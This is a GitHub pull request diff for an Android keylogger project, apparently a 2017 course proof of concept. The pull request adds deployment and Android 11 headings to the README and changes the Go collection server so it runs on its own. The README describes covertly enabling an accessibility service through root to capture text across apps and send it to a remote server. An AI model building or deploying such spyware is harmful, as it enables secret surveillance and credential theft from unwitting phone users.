Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
6 changes: 5 additions & 1 deletion README.md
Original file line number Diff line number Diff line change
@@ -1,9 +1,13 @@
# Android Keylogger

# Deploy Cloud VPS Work Fine

# Support Android 11

Project for CS460 Spring 2017 by Brian Shu (bshu2). This is a proof of concept and not intended for actual use.

This app is a keylogger for rooted Android devices that logs view click, view focus, and text change events and sends the data to a remote server. It makes use of an Android accessibility service to read and extract info across apps. Root access is used to automatically enable the service without the user's knowledge, but the keylogger will still work on unrooted devices if the user manually enables the accessibility service in the settings.

To install and run: Download the source and open the AndroidKeylogger folder as a project in Android Studio. Then run the app on an emulator or a connected device.

[Video demo](https://youtu.be/LI7RyYb7qIA)
[Video demo](https://youtu.be/LI7RyYb7qIA)
4 changes: 2 additions & 2 deletions server.go
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
package server
package main

import (
"io/ioutil"
Expand All @@ -9,7 +9,7 @@ import (

var entries = []string{}

func init() {
func main() {
http.HandleFunc("/", handler)
http.ListenAndServe(":8080", nil)
}
Expand Down